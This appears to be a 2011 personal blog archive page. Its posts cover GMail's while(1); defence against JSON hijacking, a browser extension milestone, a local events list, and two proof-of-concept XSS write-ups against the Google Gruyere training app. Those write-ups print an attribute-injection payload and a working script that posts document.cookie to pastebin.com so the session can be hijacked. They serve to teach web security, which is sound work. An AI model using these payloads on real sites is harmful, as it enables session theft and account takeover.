XSS Prevention in GMail
28 February, 2011 § Leave a comment
Many popular web applications use JSON as their data interchange format. The format is very compact, easy for humans to read, and is based on a subset of JavaScript.
I’ll start by showing an example. Consider a website that wants its clients to query the server for the most recent 3 public messages. The client may send a GET
query to the following address: https://mail.google.com/recent_messages/
The response can be written as follows:
var messages = [ {"user": "foo", "m": "I like turtles", "t": 123423550}, {"user": "bar", "m": "Turtle power!", "t": 1234543245}, {"user": "baz", "m": "Cowabunga dude", "t": 1234567643} ];
When mail.google.com
requests this JSON feed, it could then run eval()
on the source code. Afterwards, it will have a messages
object in global scope that it can reference.
This could work out good for GMail, but it can also allow other websites to make the same call. Modern web browsers will not allow asynchronous HTTP requests to cross domain boundaries, so it is easy to think that this is safe. However if the location is added as the src
attribute of a script
tag, then the browsers will load the content.
To work around this, GMail adds while(1);
to the beginning of the JSON response.
When requesting JavaScript through a script
tag’s src
attribute, the DOM does not give access to modifying the content of the response. This keeps the while(1);
present. If a client tries to eval()
this JSON request, their browser will simply hang.
Pretty interesting, huh? There still are workarounds that can defeat this, such as setting up a server-side proxy that will make the request and strip the while(1)
.
If you’re looking for more details, Adobe Labs has a page on their website that covers Preventing the Execution of Unauthorized Script in JSON.
My extension reached 1,000 installs… just in time for extinction
27 February, 2011 § 1 Comment
This week the Multiple Monitor Full Screen extension hit a milestone: 1,000 installs. The install rate is now around 140 per week, which has decreased from around 350-400 per week at its peak.
Much of this is likely to do with the new version of Adobe’s Flash plugin, 10.2, which added support for full screen with multiple monitors.
While it makes me sad to see that less people will want to use my software, I am happy that the overall user experience will improve for all everyone.
So where to go from here?
There are a couple different directions that I could take.
- Add support for HTML5 video, as the current draft of the standard leaves out full screen, and allows browser implementers freedom in determining how full screen can be accessed.
- Or… call my work done and move on
What would you do? HTML5 could be a great feature to add, however not that many sites use it yet.
JavaScript Injection proof of concept
26 February, 2011 § Leave a comment
Following up from my previous post about XSS Session Hijacking in Google Gruyere, I decided to write a post covering a JavaScript injection vulnerability.
The color attribute on profiles lack input validation, and thus are susceptible to JavaScript injection. Simply put, this means that a user can edit their profile and insert code that will run on the computers of other users.
Some of the possible uses of this attack would be to:
- Spam the user with advertisements
- Increase visits to another website
- Spread malware
In this proof of concept, I used the following as the “color” setting for my profile:
red' onmouseout='window.open("http://www.msu.edu/~weinjare/ad.html", "", "height=220,width=450");return false;
The JavaScript for the onmouseout event handler will launch a new popup window that could include spam. This code will be executed if the visitor moves their mouse over my username.
I’ll try to explain the source code above. The HTML that is generated for the page uses single quote characters to specify attributes. Adding a single quote to the setting, appearing after the word “red”, allows arbitrary HTML to be injected within the page. The following code is treated as another attribute for the element, adding an event handler for when a mouse moves on to the element and then leaves the element.
The value of the attribute starts with a single quote and lacks an ending quote. This is because the generation of the HTML will append a single quote to the value. This will allow the generated HTML to remain valid.
To show this in action, I created the following video:
XSS Session Hijacking proof of concept
17 February, 2011 § 6 Comments
I’ve been spending time lately playing with Google Gruyere. I first got introduced to it back when it was called Jarlsberg. After finding all the cross-site scripting vulnerabilities, I thought it would be cool to actually exploit them.
To this day, I had never exploited any of the holes I had found. When disclosing security vulnerabilities, I knew of the potential that a hole could bring with it. While it would be easy to convince myself of the necessity for a fix, I’ve learned it’s much harder to convince others. So I set out on implementing a proof-of-concept for one of the holes in Google Gruyere.
Gruyere allows users to add links to their homepage, however the application doesn’t sanitize the input. Try the following as your homepage and you’ll get a nice alert dialog:
javascript:alert(1)
To exploit this, I wrote the following JavaScript:
function a() { var xhr =new XMLHttpRequest(); var params = 'paste_code=' + document.cookie + '&paste_name=XSS_poc'; xhr.open("POST","http://pastebin.com/api_public.php",true); xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr.setRequestHeader("Content-length",params.length + ""); xhr.setRequestHeader("Connection","close"); xhr.send(params); } a();
I then used the Google Closure Compiler to compress this JavaScript by over 18% and achieved the final code as follows:
var a=new XMLHttpRequest,b="paste_code="+document.cookie+"&paste_name=XSS_poc";a.open("POST","http://pastebin.com/api_public.php",true);a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length+"");a.setRequestHeader("Connection","close");a.send(b);
Prefix the JavaScript code with `javascript:`, and you’re off to the races.
So how does this work? This JavaScript, when executed, will take the document’s cookie and send it to Pastebin.com. The attacker will then visit pastebin.com and find the cookie by searching for “XSS_poc” on Pastebin.
I then used a Google Chrome extension called Edit This Cookie to change my cookie to be that of the victim. Hitting Refresh on the page now showed that I was logged in as the victim 🙂
I recorded a video of the attack and have embedded it below. The music was created by Kevin MacLeod.
What do you think?
February event round-up
7 February, 2011 § Leave a comment
It’s not too far into February, so I figured I’d list many of the events going on in February that you might want to check out.
Tomorrow night (2/8), MSU’s Black Poet Society will be stopping by The Advantage Takeover to perform some uplifting and inspiring poetry. 7:45pm In Conrad Hall at MSU.
Thursday night (2/10), MSU’s Black Poet Society, with the help of Alpha Kappa Alpha Sorority, will be doling out some warm drinks and poetry at our “Hot Chocolate” event. This is our main event for February, so be sure to come on out and support us.
Friday night (2/11), Ignite Lansing is taking place at the Capital Region International Airport. The event can be summed up as a bunch of people giving short talks on topics they feel passionate about.
Saturday night (2/12), the Lansing Derby Vixens will be hosting a bout at the Lansing Center. Doors open at 6pm and the ladies will go flying around 7pm. I’ve got a couple coworkers that skate and referee for the Derby Vixens, so be sure to come out and show some love.
Saturday, February 19, is MobiDevDay Detroit. The event was started to educate Detroit and Southeast Michigan software developers about building applications on mobile platforms.
That rounds out my list of events for February. Do you know of an event that I missed?